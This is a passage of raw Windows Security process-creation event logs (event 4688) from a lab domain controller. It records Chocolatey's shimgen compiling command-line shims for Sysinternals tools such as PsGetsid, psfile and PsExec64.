/nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsGetsid.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_6301\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246718 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaec - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xce0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246717 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xce0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsGetsid.exe" --output="C:\ProgramData\chocolatey\bin\PsGetsid.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsGetsid.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246716 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0xcd8 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k NetworkService - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246715 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb80 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF121.tmp" "c:\ProgramData\chocolatey\bin\CSC1147DE4DC3634663A968A5E719C9F63.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246714 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246713 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x618 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psfile64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_4114\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246712 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x360 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x618 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246711 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x618 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psfile64.exe" --output="C:\ProgramData\chocolatey\bin\psfile64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psfile64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246710 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x57c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF056.tmp" "c:\ProgramData\chocolatey\bin\CSCDB00DC3B6BEE4417BDFAEF84E88DB07F.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246709 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x57c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246708 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xecc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psfile.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_1926\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246707 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8d0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xecc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246706 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xecc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psfile.exe" --output="C:\ProgramData\chocolatey\bin\psfile.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psfile.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246705 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEF7B.tmp" "c:\ProgramData\chocolatey\bin\CSC56AD1ED5F1564397A198674BB967DC.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246704 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246703 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf50 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsExec64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_9739\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246752 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe74 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account 